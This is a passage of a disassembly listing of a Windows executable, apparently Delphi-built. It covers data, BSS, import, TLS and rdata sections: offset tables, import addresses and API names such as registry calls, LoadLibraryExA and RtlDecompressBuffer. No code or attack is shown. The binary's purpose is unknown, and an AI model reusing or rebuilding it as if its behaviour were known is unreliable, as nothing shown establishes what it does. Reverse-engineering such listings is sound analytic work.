sub_4021FC:loc_40224Ar off_409030 dd offset nullsub_1 ; DATA XREF: sub_4021FC:loc_40227Dr off_409034 dd offset nullsub_1 ; DATA XREF: CODE:loc_402FE4r dword_409038 dd 0 ; DATA XREF: sub_401158+1r ; sub_40116C+4r ... off_40903C dd offset sub_401158 ; DATA XREF: sub_4011A8+4r ; sub_4011D8+3Fr off_409040 dd offset sub_40116C ; DATA XREF: sub_4011C0+4r ; sub_4011D8+26r off_409044 dd offset sub_401190 ; DATA XREF: sub_4011D8+Dr byte_409048 db 0 ; DATA XREF: sub_401234+36r aRsu db '',0 aFxn@ db '@',0 off_409064 dd offset nullsub_1 ; DATA XREF: sub_4021FC+38r dword_409068 dd 0 ; DATA XREF: sub_4030CCo ; sub_4030D8+33o ... dword_40906C dd 400000h ; DATA XREF: sub_4030D8+1Bw dword_409070 dd 0 ; DATA XREF: sub_4030D8+22w dword_409074 dd 0 ; DATA XREF: sub_4030D8+29w dd 400000h, 0 dword_409080 dd 0 ; DATA XREF: CODE:004067B9o dword_409084 dd 0 ; DATA XREF: CODE:004067AFo dword_409088 dd 2 ; DATA XREF: sub_405B58+1Bw ; sub_405E14+69r dword_40908C dd 5 ; DATA XREF: sub_405B58+24w dword_409090 dd 1 ; DATA XREF: sub_405B58+2Dw dword_409094 dd 0A28h ; DATA XREF: sub_405B58+36w dword_409098 dd 0 ; DATA XREF: sub_405B58+3Bo ; CODE:004067A5o dword_40909C dd 0 ; DATA XREF: sub_404F38+C4r ; sub_405BB0+1Br ... dd 7 dup(0) dword_4090BC dd 0 ; DATA XREF: CODE:004066CCo ; CODE:00406813o dword_4090C0 dd 77E686CCh ; DATA XREF: sub_406320+1Cw ; sub_406320:loc_406341r ... dword_4090C4 dd 2 dup(0) ; DATA XREF: CODE:004066B7o off_4090CC dd offset off_403324 ; DATA XREF: sub_404118+43r ; CODE:00406650o off_4090D0 dd offset dword_403328+4 ; DATA XREF: CODE:00406644o dd 76400000h, 0DE0B6B3Ah, 0C08B403Ah dword_4090E0 dd 0Ah ; DATA XREF: sub_4046B8+23r off_4090E4 dd offset off_4033AC ; DATA XREF: sub_404CB0+3Ao ; CODE:00406638o off_4090E8 dd offset dword_4033B0+4 ; DATA XREF: CODE:0040662Co off_4090EC dd offset dword_4033B0+0Ch ; DATA XREF: CODE:00406620o off_4090F0 dd offset dword_4033B0+14h ; DATA XREF: CODE:00406614o off_4090F4 dd offset dword_4033B0+1Ch ; DATA XREF: CODE:00406608o off_4090F8 dd offset dword_4033B0+24h ; DATA XREF: CODE:004065FCo off_4090FC dd offset dword_4033B0+2Ch ; DATA XREF: CODE:004065F0o off_409100 dd offset dword_4033B0+34h ; DATA XREF: CODE:004065E4o off_409104 dd offset dword_4033B0+3Ch ; DATA XREF: CODE:004065D8o off_409108 dd offset dword_4033B0+44h ; DATA XREF: CODE:004065CCo off_40910C dd offset dword_4033B0+4Ch ; DATA XREF: CODE:004065C0o off_409110 dd offset dword_4033B0+54h ; DATA XREF: CODE:004065B4o off_409114 dd offset off_40340C ; DATA XREF: sub_404CB0+5Do ; CODE:004065A8o off_409118 dd offset dword_403410+4 ; DATA XREF: CODE:0040659Co off_40911C dd offset dword_403410+0Ch ; DATA XREF: CODE:00406590o off_409120 dd offset dword_403410+14h ; DATA XREF: CODE:00406584o off_409124 dd offset dword_403410+1Ch ; DATA XREF: CODE:00406578o off_409128 dd offset dword_403410+24h ; DATA XREF: CODE:0040656Co off_40912C dd offset dword_403410+2Ch ; DATA XREF: CODE:00406560o off_409130 dd offset dword_403410+34h ; DATA XREF: CODE:00406554o off_409134 dd offset dword_403410+3Ch ; DATA XREF: CODE:00406548o off_409138 dd offset dword_403410+44h ; DATA XREF: CODE:0040653Co off_40913C dd offset dword_403410+4Ch ; DATA XREF: CODE:00406530o off_409140 dd offset dword_403410+54h ; DATA XREF: CODE:00406524o off_409144 dd offset off_40346C ; DATA XREF: sub_404CB0+A9o ; CODE:00406518o off_409148 dd offset dword_403470+4 ; DATA XREF: CODE:0040650Co off_40914C dd offset dword_403470+0Ch ; DATA XREF: CODE:00406500o off_409150 dd offset dword_403470+14h ; DATA XREF: CODE:004064F4o off_409154 dd offset dword_403470+1Ch ; DATA XREF: CODE:004064E8o off_409158 dd offset dword_403470+24h ; DATA XREF: CODE:004064DCo off_40915C dd offset dword_403470+2Ch ; DATA XREF: CODE:004064D0o off_409160 dd offset off_4034A4 ; DATA XREF: sub_404CB0+CEo ; CODE:004064C4o off_409164 dd offset dword_4034A8+4 ; DATA XREF: CODE:004064B8o off_409168 dd offset dword_4034A8+0Ch ; DATA XREF: CODE:004064ACo off_40916C dd offset dword_4034A8+14h ; DATA XREF: CODE:004064A0o off_409170 dd offset dword_4034A8+1Ch ; DATA XREF: CODE:00406494o off_409174 dd offset dword_4034A8+24h ; DATA XREF: CODE:00406488o dd offset dword_4034A8+2Ch dword_40917C dd 2 ; DATA XREF: sub_405564+16r ; CODE:004066A2o dword_409180 dd 0 ; DATA XREF: sub_405564+24r dd 3, 0 dd 4, 0 dd 5, 0 dword_40919C dd 64h ; DATA XREF: sub_4057A8+Fr dd 0 dd 65h, 0 dd 6Ah, 0 off_4091B4 dd offset aEdivbyzeror@8@ ; DATA XREF: CODE:0040668Do ; "\nEDivByZero@8@" dd 0 dd offset aErangeerrors8@ ; "\vERangeError8@" dd 0 dd offset dword_403898 dd 0 dd offset aEinvalidoprd9@ ; "\nEInvalidOp9@" dd 0 dd offset dword_4039A4 dd 0 dd offset aEoverflowlT@ ; "\tEOverflowT:@" dd 0 dd offset dword_403A54 dd 0 dd offset dword_403B08 dd 0 dd offset dword_403BC0 dd 0 dd offset aEprivilegerx@ ; "\nEPrivilegex<@" dd 0 dd offset aEcontrolcl@ ; "\tEControlC,=@" dd 0 dd offset dword_403C78 dd 0 dd offset dword_403D2C dd 0 dd offset dword_403D2C dd 0 dd offset dword_403D2C dd 0 dd offset dword_403D2C dd 0 dd offset dword_403D2C dd 0 dd offset dword_403D2C dd 0 dd offset dword_403D88 dd 0 dd offset dword_403730 dd 0 dd offset dword_403E44 dd 0 dd offset dword_403EA0 dd 0 dword_409264 dd 20591EC1h ; DATA XREF: sub_405DFC+Ar dword_409268 dd 0 ; DATA XREF: sub_406300+1o dword_40926C dd 1 ; DATA XREF: sub_406A60+Fr dd 10h, 2, 20h, 4, 40h, 4, 40h off_40928C dd offset dword_4033B0+14h ; DATA XREF: CODE:00406618o dd offset dword_403328+0Ch dd offset dword_403270+14h off_409298 dd offset dword_403410+4 ; DATA XREF: CODE:004065A0o off_40929C dd offset dword_403410+44h ; DATA XREF: CODE:00406540o off_4092A0 dd offset dword_4034A8+14h ; DATA XREF: CODE:004064A4o off_4092A4 dd offset dword_4033B0+34h ; DATA XREF: CODE:004065E8o off_4092A8 dd offset off_40A028 ; DATA XREF: sub_405A68+79r off_4092AC dd offset off_403374 ; DATA XREF: sub_40598C+73r off_4092B0 dd offset dword_4034A8+24h ; DATA XREF: CODE:0040648Co off_4092B4 dd offset dword_40A008 ; DATA XREF: sub_405A68+2Er ; sub_405AEC+34r off_4092B8 dd offset off_4034A4 ; DATA XREF: CODE:004064C8o off_4092BC dd offset dword_4033B0+1Ch ; DATA XREF: CODE:0040660Co dd offset dword_403270+2Ch off_4092C4 dd offset dword_4034A8+4 ; DATA XREF: CODE:004064BCo off_4092C8 dd offset dword_403470+1Ch ; DATA XREF: CODE:004064ECo off_4092CC dd offset dword_4034A8+0Ch ; DATA XREF: CODE:004064B0o off_4092D0 dd offset dword_40A01C ; DATA XREF: sub_405A68+44r ; sub_405AEC+46r off_4092D4 dd offset off_40326C ; DATA XREF: sub_405564+44r dd offset dword_403318+4 off_4092DC dd offset off_403264 ; DATA XREF: sub_405A68r off_4092E0 dd offset dword_4033B0+3Ch ; DATA XREF: CODE:004065DCo dd offset dword_403270+34h off_4092E8 dd offset off_403324 ; DATA XREF: CODE:00406654o dword_4092EC dd 40339Ch ; DATA XREF: CODE:loc_405710r off_4092F0 dd offset dword_403410+2Ch ; DATA XREF: CODE:00406564o dd offset dword_40A040 off_4092F8 dd offset dword_403410+4Ch ; DATA XREF: CODE:00406534o dd offset dword_403348+24h off_409300 dd offset dword_40A00C ; DATA XREF: sub_405A68+51r ; sub_405AEC+4Fr off_409304 dd offset dword_403410+0Ch ; DATA XREF: CODE:00406594o off_409308 dd offset dword_40A004 ; DATA XREF: sub_405A68+39r ; sub_405AEC+3Dr off_40930C dd offset dword_40A010 ; DATA XREF: sub_405A68+5Cr ; sub_405AEC+58r off_409310 dd offset dword_403410+54h ; DATA XREF: CODE:00406528o dd offset dword_4032F8+4 dd offset dword_4032F8+0Ch off_40931C dd offset dword_403470+2Ch ; DATA XREF: CODE:004064D4o dd offset dword_403270+4 dd offset dword_403270+4Ch off_409328 dd offset dword_403328+4 ; DATA XREF: CODE:00406648o dd offset dword_403348+4 off_409330 dd offset off_40340C ; DATA XREF: CODE:004065ACo dd offset dword_403380+4 off_409338 dd offset dword_403410+24h ; DATA XREF: CODE:00406570o dd offset dword_403348+1Ch off_409340 dd offset dword_403410+14h ; DATA XREF: CODE:00406588o off_409344 dd offset dword_403410+34h ; DATA XREF: CODE:00406558o dd offset dword_403348+14h off_40934C dd offset dword_4033B0+4 ; DATA XREF: CODE:00406630o off_409350 dd offset dword_4033B0+44h ; DATA XREF: CODE:004065D0o off_409354 dd offset dword_403470+14h ; DATA XREF: CODE:004064F8o dd offset dword_403270+24h dd offset dword_403270+64h off_409360 dd offset dword_403410+1Ch ; DATA XREF: CODE:0040657Co off_409364 dd offset off_4032E4 ; DATA XREF: sub_405A68+17r off_409368 dd offset dword_403470+24h ; DATA XREF: CODE:004064E0o dd offset dword_403270+6Ch off_409370 dd offset off_40346C ; DATA XREF: CODE:0040651Co off_409374 dd offset dword_40A020 ; DATA XREF: sub_405A68+6Cr ; sub_405AEC+61r dd offset dword_403380+0Ch off_40937C dd offset off_403344 ; DATA XREF: sub_4057C0+54r off_409380 dd offset dword_4034A8+1Ch ; DATA XREF: CODE:00406498o dd offset dword_403270+1Ch off_409388 dd offset off_40337C ; DATA XREF: sub_405638+38r off_40938C dd offset dword_403410+3Ch ; DATA XREF: CODE:0040654Co off_409390 dd offset dword_403470+4 ; DATA XREF: CODE:00406510o dd offset dword_40A03C off_409398 dd offset dword_403470+0Ch ; DATA XREF: CODE:00406504o dd offset dword_403348+0Ch off_4093A0 dd offset off_4033A4 ; DATA XREF: sub_4057C0+110r off_4093A4 dd offset dword_4033B0+2Ch ; DATA XREF: CODE:004065F4o off_4093A8 dd offset off_403394 ; DATA XREF: sub_405638+63r off_4093AC dd offset dword_4033B0+4Ch ; DATA XREF: CODE:004065C4o dd offset dword_4034A8+2Ch off_4093B4 dd offset dword_4033B0+0Ch ; DATA XREF: CODE:00406624o off_4093B8 dd offset off_4032F4 ; DATA XREF: sub_4057C0+16Cr dd offset dword_403270+0Ch dd offset dword_4032F8+14h dd offset dword_403270+44h dd offset dword_403270+3Ch off_4093CC dd offset dword_4033B0+54h ; DATA XREF: CODE:004065B8o dd offset dword_403270+54h off_4093D4 dd offset off_4033AC ; DATA XREF: CODE:0040663Co off_4093D8 dd offset off_403314 ; DATA XREF: CODE:0040524Ar dd offset dword_4032E8+4 dd offset dword_403270+5Ch off_4093E4 dd offset off_40333C ; DATA XREF: sub_4057C0+45r off_4093E8 dd offset dword_4033B0+24h ; DATA XREF: CODE:00406600o align 1000h DATA ends ; Section 3. (virtual address 0000A000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0000A000 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write BSS segment para public '' use32 assume cs:BSS ;org 40A000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing dd offset sub_40296C dword_40A004 dd 0 ; DATA XREF: DATA:off_409308o dword_40A008 dd 0 ; DATA XREF: sub_401234+9r ; sub_401234+16r ... dword_40A00C dd 0 ; DATA XREF: sub_407AFC-5CA9r ; DATA:off_409300o dword_40A010 dd 0 ; DATA XREF: sub_401D08+25r ; sub_407AFC-5C1Dr ... off_40A014 dd offset sub_4010B8 ; DATA XREF: sub_401C24+14r ; sub_401C40+16r ... off_40A018 dd offset sub_4010C0 ; DATA XREF: sub_401D08+D2r ; sub_407AFC-5B9Ar ... dword_40A01C dd 0 ; DATA XREF: DATA:off_4092D0o dword_40A020 dd 0 ; DATA XREF: DATA:off_409374o dword_40A024 dd 0 ; DATA XREF: sub_4021FC+A0r ; sub_4021FC+A9r off_40A028 dd offset loc_405710 ; DATA XREF: DATA:off_4092A8o dword_40A02C dd 400000h ; DATA XREF: sub_402144+29w dd 0F4h byte_40A034 db 0 ; DATA XREF: sub_402144+2Ew align 4 dword_40A038 dd 0 ; DATA XREF: sub_4021FC+Eo dword_40A03C dd 0 ; DATA XREF: DATA:00409394o dword_40A040 dd 73h dup(0) ; DATA XREF: sub_4014E8:loc_401507o ; DATA:004092F4o dword_40A20C dd 73h dup(0) ; DATA XREF: sub_4014E8+26o dword_40A3D8 dd 0 ; DATA XREF: CODE:00402FCDw dword_40A3DC dd 140000h ; DATA XREF: sub_401158+7r ; sub_40116C+Dr ... dword_40A3E0 dd 2 dup(0) ; DATA XREF: sub_4020A0+4o ; sub_4021CC+Do ... off_40A3E8 dd offset dword_408160 ; DATA XREF: sub_402128r ; sub_402144+14w dword_40A3EC dd 0 ; DATA XREF: sub_4020D4+20w ; sub_402144+1Bw off_40A3F0 dd offset dword_409068 ; DATA XREF: sub_402144+20w dd 6 dup(0) dword_40A40C dd 0 ; DATA XREF: CODE:00402FD5r ; CODE:00402FDEr off_40A410 dd offset sub_40291C ; DATA XREF: CODE:00402934o ; CODE:0040294Dw ... dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 off_40A43C dd offset sub_402914 ; DATA XREF: sub_40295Cr dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 dd offset sub_402914 byte_40A4BC db 0 ; DATA XREF: sub_40308Cr byte_40A4BD db 0 ; DATA XREF: CODE:0040680Ar align 10h TlsIndex dd 0 ; DATA XREF: sub_403048+Cr ; sub_403048+37r ... align 8 dword_40A4C8 dd 400000h ; DATA XREF: sub_4030D8+11w ; sub_4030D8+16r ... dword_40A4CC dd 0 ; DATA XREF: CODE:0040312Dw ; CODE:0040314Cw dword_40A4D0 dd 0 ; DATA XREF: sub_40308C:loc_4030BBr dword_40A4D4 dd 0 ; DATA XREF: CODE:00403165w ; CODE:00403184w dword_40A4D8 dd 0 ; DATA XREF: CODE:0040323Dw ; CODE:0040325Cw dword_40A4DC dd 0 ; DATA XREF: CODE:004034EDw ; CODE:0040350Cw dword_40A4E0 dd 0 ; DATA XREF: sub_4046FC+1Cr ; sub_405F88+52o ... byte_40A4E4 db 0 ; DATA XREF: sub_4046FC+24r ; sub_405F88+7Bw byte_40A4E5 db 0 ; DATA XREF: sub_4046FC+2Cr ; sub_405F88+9Fw byte_40A4E6 db 2Ch ; DATA XREF: sub_4046FC+14r ; sub_405F88+B2w byte_40A4E7 db 2Eh ; DATA XREF: sub_4046FC+Cr ; sub_405F88+C5w byte_40A4E8 db 2 ; DATA XREF: sub_4042BA+296r ; sub_405F88+E9w byte_40A4E9 db 2Fh ; DATA XREF: sub_405F88+FCw align 4 dword_40A4EC dd 0 ; DATA XREF: sub_405F88+124o ; CODE:00406791o dword_40A4F0 dd 0 ; DATA XREF: sub_405F88+151o ; CODE:00406787o byte_40A4F4 db 3Ah ; DATA XREF: sub_405F88+169w align 4 dword_40A4F8 dd 0 ; DATA XREF: sub_405F88+186o ; CODE:0040677Do dword_40A4FC dd 0 ; DATA XREF: sub_405F88+1A8o ; CODE:00406773o dword_40A500 dd 0 ; DATA XREF: sub_405F88+271o ; CODE:00406769o dword_40A504 dd 0 ; DATA XREF: sub_405F88+28Eo ; CODE:0040675Fo dword_40A508 dd 0Ch dup(0) ; DATA XREF: sub_404CB0+29o ; CODE:0040674Ao dword_40A538 dd 0Ch dup(0) ; DATA XREF: sub_404CB0+2Eo ; CODE:00406735o dword_40A568 dd 7 dup(0) ; DATA XREF: sub_404CB0+8Ao ; CODE:00406720o dword_40A584 dd 7 dup(0) ; DATA XREF: sub_404CB0+8Fo ; CODE:0040670Bo dword_40A5A0 dd 409h ; DATA XREF: sub_405D9C+Er ; sub_405E14+Cw ... dword_40A5A4 dd 9 ; DATA XREF: sub_404F38+5Cr ; sub_405DFCr ... dword_40A5A8 dd 1 ; DATA XREF: sub_405E14+20w ; sub_405E14+53w dword_40A5AC dd 2C0000h ; DATA XREF: sub_404DD4:loc_404DE8r ; sub_405C28+8r ... dword_40A5B0 dd 6 dup(0) ; DATA XREF: CODE:004066F6o dword_40A5C8 dd 0 ; DATA XREF: sub_404E10:loc_404E34r ; sub_404E10+43w dword_40A5CC dd 7 dup(0) ; DATA XREF: sub_404E88+5Do dword_40A5E8 dd 0 ; DATA XREF: CODE:004066E6o dword_40A5EC dd 0 ; DATA XREF: CODE:004066D6o dword_40A5F0 dd 0 ; DATA XREF: CODE:0040666Dw ; CODE:004067EDw dword_40A5F4 dd 0 ; DATA XREF: sub_4055E4:loc_4055F9r ; sub_405A68+12w ... dword_40A5F8 dd 0 ; DATA XREF: sub_4055E4:loc_405601r ; sub_405A68+29w ... dword_40A5FC dd 0 ; DATA XREF: CODE:00406679o dword_40A600 dd 0 ; DATA XREF: CODE:00406A15w ; CODE:00406A34w dword_40A604 dd 0 ; DATA XREF: CODE:00407141w ; CODE:00407160w dword_40A608 dd 0 ; DATA XREF: CODE:004082D2w ; CODE:004082D7r ... dword_40A60C dd 0 ; DATA XREF: CODE:004082C8o ; CODE:004082E9r ... dword_40A610 dd 0 ; DATA XREF: CODE:004082E4o ; CODE:004082F4o ... dword_40A614 dd 0 ; DATA XREF: CODE:loc_4082ADo ; CODE:004082BCr dword_40A618 dd 0 ; DATA XREF: CODE:0040826Ew ; CODE:00408286r ... dword_40A61C dd 0 ; DATA XREF: CODE:loc_408278r ; CODE:00408293o ... align 1000h BSS ends ; Section 4. (virtual address 0000B000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0000B000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata segment para public 'DATA' use32 assume cs:_idata ;org 40B000h dd 3 dup(0) dd 0B18Ch, 0B0A0h, 3 dup(0) dd 0B338h, 0B108h, 3 dup(0) dd 0B35Eh, 0B114h, 3 dup(0) dd 0B39Eh, 0B124h, 3 dup(0) dd 0B3BCh, 0B12Ch, 3 dup(0) dd 0B4D6h, 0B170h, 3 dup(0) dd 0B51Eh, 0B184h, 5 dup(0) dword_40B0A0 dd 77E77CC4h ; DATA XREF: CODE:00401150r dword_40B0A4 dd 77E79924h ; DATA XREF: sub_401140r dword_40B0A8 dd 77E74672h ; DATA XREF: sub_401120r dword_40B0AC dd 77E73BEFh ; DATA XREF: sub_401118r dword_40B0B0 dd 77E805B8h ; DATA XREF: sub_401108r dword_40B0B4 dd 77E77F21h ; DATA XREF: sub_401100r dword_40B0B8 dd 77E7A5FDh ; DATA XREF: sub_4010F8r dword_40B0BC dd 77E7513Ch ; DATA XREF: sub_4010F0r dword_40B0C0 dd 77E75D9Eh ; DATA XREF: sub_4010E8r dword_40B0C4 dd 77E78EAAh ; DATA XREF: sub_4010E0r dword_40B0C8 dd 77E75CB5h ; DATA XREF: sub_4010D8r dword_40B0CC dd 77EB9A84h ; DATA XREF: sub_4010C8r dword_40B0D0 dd 77F6183Eh ; DATA XREF: sub_4010C0r dword_40B0D4 dd 77E6D706h ; DATA XREF: sub_4010B8r dword_40B0D8 dd 77E7C938h ; DATA XREF: sub_4010B0r dword_40B0DC dd 77E79B39h ; DATA XREF: sub_4010A8r dword_40B0E0 dd 77E78B61h ; DATA XREF: sub_4010A0r dword_40B0E4 dd 77E79881h ; DATA XREF: sub_401098r dword_40B0E8 dd 77E79F93h ; DATA XREF: sub_401090r dword_40B0EC dd 77E7A099h ; DATA XREF: sub_401088r dword_40B0F0 dd 77E80618h ; DATA XREF: sub_401080r dword_40B0F4 dd 77F51597h ; DATA XREF: sub_401078r dword_40B0F8 dd 77F5722Fh ; DATA XREF: sub_401070r dword_40B0FC dd 77F516F8h ; DATA XREF: sub_401068r aCw db '|w',0 align 4 dword_40B108 dd 77D47250h ; DATA XREF: sub_401110r dword_40B10C dd 77D472ECh ; DATA XREF: sub_4010D0r dd 0 dword_40B114 dd 77DD23D7h ; DATA XREF: sub_401138r dword_40B118 dd 77DD22EAh ; DATA XREF: sub_401130r dword_40B11C dd 77DD189Ah ; DATA XREF: sub_401128r dd 0 dword_40B124 dd 771214E8h ; DATA XREF: sub_401148r dd 0 dword_40B12C dd 77E79D8Ch ; DATA XREF: CODE:00403204r dword_40B130 dd 77E7F044h ; DATA XREF: sub_4031FCr dword_40B134 dd 77E805D8h ; DATA XREF: sub_4031F4r dword_40B138 dd 77E7C657h ; DATA XREF: sub_4031ECr dword_40B13C dd 77E77F21h ; DATA XREF: sub_4031E4r dword_40B140 dd 77E98D20h ; DATA XREF: sub_4031DCr dword_40B144 dd 77E79C3Dh ; DATA XREF: CODE:004031D4r dword_40B148 dd 77E7A5FDh ; DATA XREF: sub_4031CCr dword_40B14C dd 77E79F93h ; DATA XREF: sub_4031C4r dword_40B150 dd 77E7A099h ; DATA XREF: sub_4031BCr dword_40B154 dd 77E7513Ch ; DATA XREF: sub_4031B4r dword_40B158 dd 77E6869Bh ; DATA XREF: sub_4031ACr dword_40B15C dd 77E7849Fh ; DATA XREF: sub_4031A4r dword_40B160 dd 77E7A13Fh ; DATA XREF: sub_40319Cr dword_40B164 dd 77E75CB5h ; DATA XREF: sub_403194r dword_40B168 dd 77EC9262h ; DATA XREF: sub_40318Cr align 10h dword_40B170 dd 77D6ADD7h ; DATA XREF: CODE:00403224r dword_40B174 dd 77D47250h ; DATA XREF: sub_40321Cr dword_40B178 dd 77D477C0h ; DATA XREF: sub_403214r dword_40B17C dd 77D472ECh ; DATA XREF: sub_40320Cr dd 0 dword_40B184 dd 77FA44C8h ; DATA XREF: sub_40685Cr dd 0 aKernel32_dll db 'kernel32.dll',0 align 4 aGetcurrentthre db 'GetCurrentThreadId',0 align 10h dd 69570000h, 68436564h, 6F547261h, 746C754Dh, 74794269h dd 65h, 7274736Ch, 416E656Ch, 0 aLstrcpyna db 'lstrcpynA',0 align 10h aLoadlibraryexa db 'LoadLibraryExA',0 align 10h dd 65470000h, 72685474h, 4C646165h, 6C61636Fh, 65h, 50746547h dd 41636F72h, 65726464h, 7373h, 65470000h, 636F4C74h, 49656C61h dd 416F666Eh, 0 aFindfirstfilea db 'FindFirstFileA',0 align 4 dd 69460000h, 6C43646Eh, 65736Fh, 78450000h, 72507469h dd 7365636Fh, 73h, 61686E55h, 656C646Eh, 63784564h, 69747065h dd 69466E6Fh, 7265746Ch, 0 aRtlunwind db 'RtlUnwind',0 align 4 aRaiseexception db 'RaiseException',0 align 4 dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 53736C54h dd 61567465h, 65756Ch, 6C540000h, 74654773h, 756C6156h dd 65h, 61636F4Ch, 6C6C416Ch, 636Fh, 65470000h, 646F4D74h dd 48656C75h, 6C646E61h, 4165h, 65470000h, 646F4D74h, 46656C75h dd 4E656C69h, 41656D61h, 0 aFreelibrary db 'FreeLibrary',0 dd 65480000h, 72467061h, 6565h, 65480000h, 65527061h, 6F6C6C41h dd 63h, 70616548h, 6F6C6C41h, 63h, 50746547h, 65636F72h dd 65487373h, 7061h, 72657375h, 642E3233h, 6C6Ch, 6F4C0000h dd 74536461h, 676E6972h, 41h, 72616843h, 7478654Eh, 64610041h dd 69706176h, 642E3233h, 6C6Ch, 65520000h, 65755167h, 61567972h dd 4565756Ch, 4178h, 65520000h, 65704F67h, 79654B6Eh, 417845h dd 65520000h, 6F6C4367h, 654B6573h, 6C6F0079h, 74756165h dd 642E3233h, 6C6Ch, 79530000h, 65724673h, 72745365h, 676E69h dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 aWritefile db 'WriteFile',0 align 4 aVirtualquery db 'VirtualQuery',0 align 4 aLoadlibrarya db 'LoadLibraryA',0 align 4 aGetversionexa db 'GetVersionExA',0 align 4 aGetthreadlocal db 'GetThreadLocale',0 dd 65470000h, 72745374h, 54676E69h, 45657079h, 4178h, 65470000h dd 64745374h, 646E6148h, 656Ch, 65470000h, 6F725074h, 64644163h dd 73736572h, 0 aGetmodulehandl db 'GetModuleHandleA',0 align 4 aGetmodulefilen db 'GetModuleFileNameA',0 align 4 dd 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0 aGetdiskfrees_0 db 'GetDiskFreeSpaceA',0 align 10h aGetcpinfo db 'GetCPInfo',0 align 4 aGetacp db 'GetACP',0 align 4 dd 78450000h, 72507469h, 7365636Fh, 73h, 6D756E45h, 656C6143h dd 7261646Eh, 6F666E49h, 73750041h, 32337265h, 6C6C642Eh dd 0 aMessageboxa db 'MessageBoxA',0 dd 6F4C0000h, 74536461h, 676E6972h, 41h, 53746547h, 65747379h dd 74654D6Dh, 73636972h, 0 aCharnexta db 'CharNextA',0 aNtdll_dll db 'ntdll.dll',0 db 0 align 2 aRtldecompressb db 'RtlDecompressBuffer',0 align 1000h _idata ends ; Section 5. (virtual address 0000C000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0000C000 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write _tls segment para public '' use32 assume cs:_tls ;org 40C000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing TlsStart dd 2 dup(0) ; DATA XREF: .rdata:TlsDirectoryo TlsEnd dd 3FEh dup(0) ; DATA XREF: .rdata:TlsEnd_ptro _tls ends ; Section 6. (virtual address 0000D000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0000D000 ; Flags 50000040: Data Shareable Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 40D000h TlsDirectory dd offset TlsStart TlsEnd_ptr dd offset TlsEnd TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsSizeOfZeroFill TlsSizeOfZeroFill dd 0 ; DATA XREF: .rdata:TlsCallbacks_ptro TlsCharacteristics dd 0 align 1000h _rdata ends ; Section 8. (virtual address 00029000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00028800 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 429000h align 2000h _idata2 ends end start